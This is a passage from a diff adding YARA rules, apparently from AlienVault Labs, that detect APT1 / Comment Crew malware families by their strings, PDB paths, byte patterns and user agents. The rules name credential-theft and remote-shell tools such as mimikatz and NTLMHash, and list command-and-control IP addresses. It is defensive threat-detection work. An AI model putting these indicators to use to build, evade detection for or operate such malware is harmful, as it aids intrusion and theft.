+                $s5 = "%s&sdate=%04ld-%02ld-%02ld" wide ascii
+        condition:
+                all of them
+}
+
+rule AURIGA_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "superhard corp." wide ascii
+                $s2 = "microsoft corp." wide ascii
+                $s3 = "[Insert]" wide ascii
+                $s4 = "[Delete]" wide ascii
+                $s5 = "[End]" wide ascii
+                $s6 = "!(*@)(!@KEY" wide ascii
+                $s7 = "!(*@)(!@SID=" wide ascii
+        condition:
+                all of them
+}
+
+rule AURIGA_driver_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Services\\riodrv32" wide ascii
+                $s2 = "riodrv32.sys" wide ascii
+                $s3 = "svchost.exe" wide ascii
+                $s4 = "wuauserv.dll" wide ascii
+                $s5 = "arp.exe" wide ascii
+                $pdb = "projects\\auriga" wide ascii
+
+        condition:
+                all of ($s*) or $pdb
+}
+
+rule BANGAT_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "superhard corp." wide ascii
+                $s2 = "microsoft corp." wide ascii
+                $s3 = "[Insert]" wide ascii
+                $s4 = "[Delete]" wide ascii
+                $s5 = "[End]" wide ascii
+                $s6 = "!(*@)(!@KEY" wide ascii
+                $s7 = "!(*@)(!@SID=" wide ascii
+                $s8 = "end      binary output" wide ascii
+                $s9 = "XriteProcessMemory" wide ascii
+                $s10 = "IE:Password-Protected sites" wide ascii
+                $s11 = "pstorec.dll" wide ascii
+
+        condition:
+                all of them
+}
+
+rule BISCUIT_GREENCAT_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "zxdosml" wide ascii
+                $s2 = "get user name error!" wide ascii
+                $s3 = "get computer name error!" wide ascii
+                $s4 = "----client system info----" wide ascii
+                $s5 = "stfile" wide ascii
+                $s6 = "cmd success!" wide ascii
+
+        condition:
+                all of them
+}
+
+rule BOUNCER_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "*Qd9kdgba33*%Wkda0Qd3kvn$*&><(*&%$E#%$#1234asdgKNAg@!gy565dtfbasdg" wide ascii
+                $s2 = "IDR_DATA%d" wide ascii
+
+                $s3 = "asdfqwe123cxz" wide ascii
+                $s4 = "Mode must be 0(encrypt) or 1(decrypt)." wide ascii
+
+        condition:
+                ($s1 and $s2) or ($s3 and $s4)
+
+}
+
+rule BOUNCER_DLL_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "new_connection_to_bounce():" wide ascii
+                $s2 = "usage:%s IP port [proxip] [port] [key]" wide ascii
+
+        condition:
+                all of them
+}
+
+rule CALENDAR_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "content" wide ascii
+                $s2 = "title" wide ascii
+                $s3 = "entry" wide ascii
+                $s4 = "feed" wide ascii
+                $s5 = "DownRun success" wide ascii
+                $s6 = "%s@gmail.com" wide ascii
+                $s7 = "<!--%s-->" wide ascii
+
+                $b8 = "W4qKihsb+So=" wide ascii
+                $b9 = "PoqKigY7ggH+VcnqnTcmhFCo9w==" wide ascii
+                $b10 = "8oqKiqb5880/uJLzAsY=" wide ascii
+
+        condition:
+                all of ($s*) or all of ($b*)
+}
+
+rule COMBOS_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Mozilla4.0 (compatible; MSIE 7.0; Win32)" wide ascii
+                $s2 = "Mozilla5.1 (compatible; MSIE 8.0; Win32)" wide ascii
+                $s3 = "Delay" wide ascii
+                $s4 = "Getfile" wide ascii
+                $s5 = "Putfile" wide ascii
+                $s6 = "---[ Virtual Shell]---" wide ascii
+                $s7 = "Not Comming From Our Server %s." wide ascii
+
+
+        condition:
+                all of them
+}
+
+rule DAIRY_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Mozilla/4.0 (compatible; MSIE 7.0;)" wide ascii
+                $s2 = "KilFail" wide ascii
+                $s3 = "KilSucc" wide ascii
+                $s4 = "pkkill" wide ascii
+                $s5 = "pklist" wide ascii
+
+
+        condition:
+                all of them
+}
+
+rule GLOOXMAIL_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Kill process success!" wide ascii
+                $s2 = "Kill process failed!" wide ascii
+                $s3 = "Sleep success!" wide ascii
+                $s4 = "based on gloox" wide ascii
+
+                $pdb = "glooxtest.pdb" wide ascii
+
+        condition:
+                all of ($s*) or $pdb
+}
+
+rule GOGGLES_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Kill process success!" wide ascii
+                $s2 = "Kill process failed!" wide ascii
+                $s3 = "Sleep success!" wide ascii
+                $s4 = "based on gloox" wide ascii
+
+                $pdb = "glooxtest.pdb" wide ascii
+
+        condition:
+                all of ($s*) or $pdb
+}
+
+rule HACKSFASE1_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = {cb 39 82 49 42 be 1f 3a}
+
+        condition:
+                all of them
+}
+
+rule HACKSFASE2_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Send to Server failed." wide ascii
+                $s2 = "HandShake with the server failed. Error:" wide ascii
+                $s3 = "Decryption Failed. Context Expired." wide ascii
+
+        condition:
+                all of them
+}
+
+rule KURTON_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Mozilla/4.0 (compatible; MSIE8.0; Windows NT 5.1)" wide ascii
+                $s2 = "!(*@)(!@PORT!(*@)(!@URL" wide ascii
+                $s3 = "MyTmpFile.Dat" wide ascii
+                $s4 = "SvcHost.DLL.log" wide ascii
+
+        condition:
+                all of them
+}
+
+rule LONGRUN_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0; Trident/4.0)" wide ascii
+                $s2 = "%s\\%c%c%c%c%c%c%c" wide ascii
+                $s3 = "wait:" wide ascii
+                $s4 = "Dcryption Error! Invalid Character" wide ascii
+
+        condition:
+                all of them
+}
+
+rule MACROMAIL_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "svcMsn.dll" wide ascii
+                $s2 = "RundllInstall" wide ascii
+                $s3 = "Config service %s ok." wide ascii
+                $s4 = "svchost.exe" wide ascii
+
+        condition:
+                all of them
+}
+
+rule MANITSME_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Install an Service hosted by SVCHOST." wide ascii
+                $s2 = "The Dll file that to be released." wide ascii
+                $s3 = "SYSTEM\\CurrentControlSet\\Services\\" wide ascii
+                $s4 = "svchost.exe" wide ascii
+
+                $e1 = "Man,it's me" wide ascii
+                $e2 = "Oh,shit" wide ascii
+                $e3 = "Hallelujah" wide ascii
+                $e4 = "nRet == SOCKET_ERROR" wide ascii
+
+                $pdb1 = "rouji\\release\\Install.pdb" wide ascii
+                $pdb2 = "rouji\\SvcMain.pdb" wide ascii
+
+        condition:
+                (all of ($s*)) or (all of ($e*)) or $pdb1 or $pdb2
+}
+
+rule MINIASP_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "miniasp" wide ascii
+                $s2 = "wakeup=" wide ascii
+                $s3 = "download ok!" wide ascii
+                $s4 = "command is null!" wide ascii
+                $s5 = "device_input.asp?device_t=" wide ascii
+
+
+        condition:
+                all of them
+}
+
+rule NEWSREELS_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0)" wide ascii
+                $s2 = "name=%s&userid=%04d&other=%c%s" wide ascii
+                $s3 = "download ok!" wide ascii
+                $s4 = "command is null!" wide ascii
+                $s5 = "noclient" wide ascii
+                $s6 = "wait" wide ascii
+                $s7 = "active" wide ascii
+                $s8 = "hello" wide ascii
+
+
+        condition:
+                all of them
+}
+
+rule SEASALT_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98) KSMM" wide ascii
+                $s2 = "upfileok" wide ascii
+                $s3 = "download ok!" wide ascii
+                $s4 = "upfileer" wide ascii
+                $s5 = "fxftest" wide ascii
+
+
+        condition:
+                all of them
+}
+
+rule STARSYPOUND_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "*(SY)# cmd" wide ascii
+                $s2 = "send = %d" wide ascii
+                $s3 = "cmd.exe" wide ascii
+                $s4 = "*(SY)#" wide ascii
+
+
+        condition:
+                all of them
+}
+
+rule SWORD_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "@***@*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>>>" wide ascii
+                $s2 = "sleep:" wide ascii
+                $s3 = "down:" wide ascii
+                $s4 = "*========== Bye Bye ! ==========*" wide ascii
+
+
+        condition:
+                all of them
+}
+
+
+rule thequickbrow_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "thequickbrownfxjmpsvalzydg" wide ascii
+
+
+        condition:
+                all of them
+}
+
+
+rule TABMSGSQL_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "letusgohtppmmv2.0.0.1" wide ascii
+                $s2 = "Mozilla/4.0 (compatible; )" wide ascii
+                $s3 = "filestoc" wide ascii
+                $s4 = "filectos" wide ascii
+                $s5 = "reshell" wide ascii
+
+        condition:
+                all of them
+}
+
+rule CCREWBACK1
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "postvalue" wide ascii
+    $b = "postdata" wide ascii
+    $c = "postfile" wide ascii
+    $d = "hostname" wide ascii
+    $e = "clientkey" wide ascii
+    $f = "start Cmd Failure!" wide ascii
+    $g = "sleep:" wide ascii
+    $h = "downloadcopy:" wide ascii
+    $i = "download:" wide ascii
+    $j = "geturl:" wide ascii
+    $k = "1.234.1.68" wide ascii
+
+  condition:
+    4 of ($a,$b,$c,$d,$e) or $f or 3 of ($g,$h,$i,$j) or $k
+}
+
+rule TrojanCookies_CCREW
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "sleep:" wide ascii
+    $b = "content=" wide ascii
+    $c = "reqpath=" wide ascii
+    $d = "savepath=" wide ascii
+    $e = "command=" wide ascii
+
+
+  condition:
+    4 of ($a,$b,$c,$d,$e)
+}
+
+rule GEN_CCREW1
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "W!r@o#n$g" wide ascii
+    $b = "KerNel32.dll" wide ascii
+
+  condition:
+    any of them
+}
+
+rule Elise
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "SetElise.pdb" wide ascii
+
+  condition:
+    $a
+}
+
+rule EclipseSunCloudRAT
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "Eclipse_A" wide ascii
+    $b = "\\PJTS\\" wide ascii
+    $c = "Eclipse_Client_B.pdb" wide ascii
+    $d = "XiaoME" wide ascii
+    $e = "SunCloud-Code" wide ascii
+    $f = "/uc_server/data/forum.asp" wide ascii
+
+  condition:
+    any of them
+}
+
+rule MoonProject
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "Serverfile is smaller than Clientfile" wide ascii
+    $b = "\\M tools\\" wide ascii
+    $c = "MoonDLL" wide ascii
+        $d = "\\M tools\\" wide ascii
+
+  condition:
+    any of them
+}
+
+rule ccrewDownloader1
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = {DD B5 61 F0 20 47 20 57 D6 65 9C CB 31 1B 65 42}
+
+  condition:
+    any of them
+}
+
+rule ccrewDownloader2
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "3gZFQOBtY3sifNOl" wide ascii
+        $b = "docbWUWsc2gRMv9HN7TFnvnKcrWUUFdAEem9DkqRALoD" wide ascii
+        $c = "6QVSOZHQPCMc2A8HXdsfuNZcmUnIqWrOIjrjwOeagILnnScxadKEr1H2MZNwSnaJ" wide ascii
+
+  condition:
+    any of them
+}
+
+
+rule ccrewMiniasp
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "MiniAsp.pdb" wide ascii
+    $b = "device_t=" wide ascii
+
+  condition:
+    any of them
+}
+
+
+rule ccrewSSLBack2
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = {39 82 49 42 BE 1F 3A}
+
+  condition:
+    any of them
+}
+
+rule ccrewSSLBack3
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "SLYHKAAY" wide ascii
+
+  condition:
+    any of them
+}
+
+
+rule ccrewSSLBack1
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "!@#%$^#@!" wide ascii
+    $b = "64.91.80.6" wide ascii
+
+  condition:
+    any of them
+}
+
+rule ccrewDownloader3
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "ejlcmbv" wide ascii
+        $b = "bhxjuisv" wide ascii
+        $c = "yqzgrh" wide ascii
+        $d = "uqusofrp" wide ascii
+        $e = "Ljpltmivvdcbb" wide ascii
+        $f = "frfogjviirr" wide ascii
+        $g = "ximhttoskop" wide ascii
+  condition:
+    4 of them
+}
+
+
+rule ccrewQAZ
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "!QAZ@WSX" wide ascii
+
+  condition:
+    $a
+}
+
+rule metaxcd
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "<meta xcd=" wide ascii
+
+  condition:
+    $a
+}
+
+rule MiniASP
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+strings:
+    $KEY = { 71 30 6E 63 39 77 38 65 64 61 6F 69 75 6B 32 6D 7A 72 66 79 33 78 74 31 70 35 6C 73 36 37 67 34 62 76 68 6A }
+    $PDB = "MiniAsp.pdb" nocase wide ascii
+
+condition:
+    any of them
+}
+
+rule DownloaderPossibleCCrew
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "%s?%.6u" wide ascii
+    $b = "szFileUrl=%s" wide ascii
+    $c = "status=%u" wide ascii
+    $d = "down file success" wide ascii
+        $e = "Mozilla/4.0 (compatible; MSIE 6.0; Win32)" wide ascii
+
+  condition:
+    all of them
+}
+
+rule APT1_MAPIGET
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $s1 = "%s\\Attachment.dat" wide ascii
+        $s2 = "MyOutlook" wide ascii
+        $s3 = "mail.txt" wide ascii
+        $s4 = "Recv Time:" wide ascii
+        $s5 = "Subject:" wide ascii
+
+    condition:
+        all of them
+}
+
+rule APT1_LIGHTBOLT
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $str1 = "bits.exe" wide ascii
+        $str2 = "PDFBROW" wide ascii
+        $str3 = "Browser.exe" wide ascii
+        $str4 = "Protect!" wide ascii
+    condition:
+        2 of them
+}
+
+rule APT1_GETMAIL
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $stra1 = "pls give the FULL path" wide ascii
+        $stra2 = "mapi32.dll" wide ascii
+        $stra3 = "doCompress" wide ascii
+
+        $strb1 = "getmail.dll" wide ascii
+        $strb2 = "doCompress" wide ascii
+        $strb3 = "love" wide ascii
+    condition:
+        all of ($stra*) or all of ($strb*)
+}
+
+rule APT1_GDOCUPLOAD
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $str1 = "name=\"GALX\"" wide ascii
+        $str2 = "User-Agent: Shockwave Flash" wide ascii
+        $str3 = "add cookie failed..." wide ascii
+        $str4 = ",speed=%f" wide ascii
+    condition:
+        3 of them
+}
+
+rule APT1_WEBC2_Y21K
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "Y29ubmVjdA" wide ascii // connect
+        $2 = "c2xlZXA" wide ascii // sleep
+        $3 = "cXVpdA" wide ascii // quit
+        $4 = "Y21k" wide ascii // cmd
+        $5 = "dW5zdXBwb3J0" wide ascii // unsupport
+    condition:
+        4 of them
+}
+
+rule APT1_WEBC2_YAHOO
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $http1 = "HTTP/1.0" wide ascii
+        $http2 = "Content-Type:" wide ascii
+        $uagent = "IPHONE8.5(host:%s,ip:%s)" wide ascii
+    condition:
+        all of them
+}
+
+rule APT1_WEBC2_UGX
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $persis = "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN" wide ascii
+        $exe = "DefWatch.exe" wide ascii
+        $html = "index1.html" wide ascii
+        $cmd1 = "!@#tiuq#@!" wide ascii
+        $cmd2 = "!@#dmc#@!" wide ascii
+        $cmd3 = "!@#troppusnu#@!" wide ascii
+    condition:
+        3 of them
+}
+
+rule APT1_WEBC2_TOCK
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "InprocServer32" wide ascii
+        $2 = "HKEY_PERFORMANCE_DATA" wide ascii
+        $3 = "<!---[<if IE 5>]id=" wide ascii
+    condition:
+        all of them
+}
+
+rule APT1_WEBC2_TABLE
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $msg1 = "Fail To Execute The Command" wide ascii
+        $msg2 = "Execute The Command Successfully" wide ascii
+        $gif1 = /\w+\.gif/
+        $gif2 = "GIF89" wide ascii
+    condition:
+        3 of them
+}
+
+rule APT1_WEBC2_RAVE
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "iniet.exe" wide ascii
+        $2 = "cmd.exe" wide ascii
+        $3 = "SYSTEM\\CurrentControlSet\\Services\\DEVFS" wide ascii
+        $4 = "Device File System" wide ascii
+    condition:
+        3 of them
+}
+
+rule APT1_WEBC2_QBP
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "2010QBP" wide ascii
+        $2 = "adobe_sl.exe" wide ascii
+        $3 = "URLDownloadToCacheFile" wide ascii
+        $4 = "dnsapi.dll" wide ascii
+        $5 = "urlmon.dll" wide ascii
+    condition:
+        4 of them
+}
+
+rule APT1_WEBC2_KT3
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "*!Kt3+v|" wide ascii
+        $2 = " s:" wide ascii
+        $3 = " dne" wide ascii
+    condition:
+        all of them
+}
+
+rule APT1_WEBC2_HEAD
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "Ready!" wide ascii
+        $2 = "connect ok" wide ascii
+        $3 = "WinHTTP 1.0" wide ascii
+        $4 = "<head>" wide ascii
+    condition:
+        all of them
+}
+
+rule APT1_WEBC2_GREENCAT
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "reader_sl.exe" wide ascii
+        $2 = "MS80547.bat" wide ascii
+        $3 = "ADR32" wide ascii
+        $4 = "ControlService failed!" wide ascii
+    condition:
+        3 of them
+}
+
+rule APT1_WEBC2_DIV
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "3DC76854-C328-43D7-9E07-24BF894F8EF5" wide ascii
+        $2 = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide ascii
+        $3 = "Hello from MFC!" wide ascii
+        $4 = "Microsoft Internet Explorer" wide ascii
+    condition:
+        3 of them
+}
+
+rule APT1_WEBC2_CSON
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $httpa1 = "/Default.aspx?INDEX=" wide ascii
+        $httpa2 = "/Default.aspx?ID=" wide ascii
+        $httpb1 = "Win32" wide ascii
+        $httpb2 = "Accept: text*/*" wide ascii
+        $exe1 = "xcmd.exe" wide ascii
+        $exe2 = "Google.exe" wide ascii
+    condition:
+        1 of ($exe*) and 1 of ($httpa*) and all of ($httpb*)
+}
+
+rule APT1_WEBC2_CLOVER
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $msg1 = "BUILD ERROR!" wide ascii
+        $msg2 = "SUCCESS!" wide ascii
+        $msg3 = "wild scan" wide ascii
+        $msg4 = "Code too clever" wide ascii
+        $msg5 = "insufficient lookahead" wide ascii
+        $ua1 = "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; SV1)" wide ascii
+        $ua2 = "Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.8.0.12) Firefox/1.5.0.12" wide ascii
+    condition:
+        2 of ($msg*) and 1 of ($ua*)
+}
+
+rule APT1_WEBC2_BOLID
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $vm = "VMProtect" wide ascii
+        $http = "http://[c2_location]/[page].html" wide ascii
+    condition:
+        all of them
+}
+
+rule APT1_WEBC2_ADSPACE
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "<!---HEADER ADSPACE style=" wide ascii
+        $2 = "ERSVC.DLL" wide ascii
+    condition:
+        all of them
+}
+
+rule APT1_WEBC2_AUSOV
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "ntshrui.dll" wide ascii
+        $2 = "%SystemRoot%\\System32\\" wide ascii
+        $3 = "<!--DOCHTML" wide ascii
+        $4 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" wide ascii
+        $5 = "Ausov" wide ascii
+    condition:
+        4 of them
+}
+
+rule APT1_WARP
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $err1 = "exception..." wide ascii
+        $err2 = "failed..." wide ascii
+        $err3 = "opened..." wide ascii
+        $exe1 = "cmd.exe" wide ascii
+        $exe2 = "ISUN32.EXE" wide ascii
+    condition:
+        2 of ($err*) and all of ($exe*)
+}
+
+rule APT1_TARSIP_ECLIPSE
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "\\pipe\\ssnp" wide ascii
+        $2 = "toobu.ini" wide ascii
+        $3 = "Serverfile is not bigger than Clientfile" wide ascii
+        $4 = "URL download success" wide ascii
+    condition:
+        3 of them
+}
+
+rule APT1_TARSIP_MOON
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $s1 = "\\XiaoME\\SunCloud-Code\\moon" wide ascii
+        $s2 = "URL download success!" wide ascii
+        $s3 = "Kugoosoft" wide ascii
+        $msg1 = "Modify file failed!! So strange!" wide ascii
+        $msg2 = "Create cmd process failed!" wide ascii
+        $msg3 = "The command has not been implemented!" wide ascii
+        $msg4 = "Runas success!" wide ascii
+        $onec1 = "onec.php" wide ascii
+        $onec2 = "/bin/onec" wide ascii
+    condition:
+        1 of ($s*) and 1 of ($msg*) and 1 of ($onec*)
+}
+
+private rule APT1_payloads
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $pay1 = "rusinfo.exe" wide ascii
+        $pay2 = "cmd.exe" wide ascii
+        $pay3 = "AdobeUpdater.exe" wide ascii
+        $pay4 = "buildout.exe" wide ascii
+        $pay5 = "DefWatch.exe" wide ascii
+        $pay6 = "d.exe" wide ascii
+        $pay7 = "em.exe" wide ascii
+        $pay8 = "IMSCMig.exe" wide ascii
+        $pay9 = "localfile.exe" wide ascii
+        $pay10 = "md.exe" wide ascii
+        $pay11 = "mdm.exe" wide ascii
+        $pay12 = "mimikatz.exe" wide ascii
+        $pay13 = "msdev.exe" wide ascii
+        $pay14 = "ntoskrnl.exe" wide ascii
+        $pay15 = "p.exe" wide ascii
+        $pay16 = "otepad.exe" wide ascii
+        $pay17 = "reg.exe" wide ascii
+        $pay18 = "regsvr.exe" wide ascii
+        $pay19 = "runinfo.exe" wide ascii
+        $pay20 = "AdobeUpdate.exe" wide ascii
+        $pay21 = "inetinfo.exe" wide ascii
+        $pay22 = "svehost.exe" wide ascii
+        $pay23 = "update.exe" wide ascii
+        $pay24 = "NTLMHash.exe" wide ascii
+        $pay25 = "wpnpinst.exe" wide ascii
+        $pay26 = "WSDbg.exe" wide ascii
+        $pay27 = "xcmd.exe" wide ascii
+        $pay28 = "adobeup.exe" wide ascii
+        $pay29 = "0830.bin" wide ascii
+        $pay30 = "1001.bin" wide ascii
+        $pay31 = "a.bin" wide ascii
+        $pay32 = "ISUN32.EXE" wide ascii
+        $pay33 = "AcroRD32.EXE" wide ascii
+        $pay34 = "INETINFO.EXE" wide ascii
+    condition:
+        1 of them
+}
+
+private rule APT1_RARSilent_EXE_PDF
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $winrar1 = "WINRAR.SFX" wide ascii
+        $winrar2 = ";The comment below contains SFX script commands" wide ascii
+        $winrar3 = "Silent=1" wide ascii
+
+        $str1 = /Setup=[\s\w\"]+\.(exe|pdf|doc)/
+        $str2 = "Steup=\"" wide ascii
+    condition:
+        all of ($winrar*) and 1 of ($str*)
+}
+
+rule APT1_aspnetreport
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $url = "aspnet_client/report.asp" wide ascii
+        $param = "name=%s&Gender=%c&Random=%04d&SessionKey=%s" wide ascii
+    condition:
+        $url and $param and APT1_payloads
+}
+
+rule APT1_Revird_svc
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $dll1 = "nwwwks.dll" wide ascii
+        $dll2 = "rdisk.dll" wide ascii
+        $dll3 = "skeys.dll" wide ascii
+        $dll4 = "SvcHost.DLL.log" wide ascii
+        $svc1 = "InstallService" wide ascii
+        $svc2 = "RundllInstallA" wide ascii
+        $svc3 = "RundllUninstallA" wide ascii
+        $svc4 = "ServiceMain" wide ascii
+        $svc5 = "UninstallService" wide ascii
+    condition:
+        1 of ($dll*) and 2 of ($svc*)
+}
+
+rule APT1_letusgo
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $letus = /letusgo[\w]+v\d\d?\./
+    condition:
+        $letus
+}
+
+rule APT1_dbg_mess
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $dbg1 = "Down file ok!" wide ascii
+        $dbg2 = "Send file ok!" wide ascii
+        $dbg3 = "Command Error!" wide ascii
+        $dbg4 = "Pls choose target first!" wide ascii
+        $dbg5 = "Alert!" wide ascii
+        $dbg6 = "Pls press enter to make sure!" wide ascii
+        $dbg7 = "Are you sure to " wide ascii
+    condition:
+        4 of them and APT1_payloads
+}
+
+rule APT1_known_malicious_RARSilent
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $str1 = "Analysis And Outlook.doc\"" wide ascii
+        $str2 = "North Korean launch.pdf\"" wide ascii
+        $str3 = "Dollar General.doc\"" wide ascii
+        $str4 = "Dow Corning Corp.pdf\"" wide ascii
+    condition:
+        1 of them and APT1_RARSilent_EXE_PDF
+}
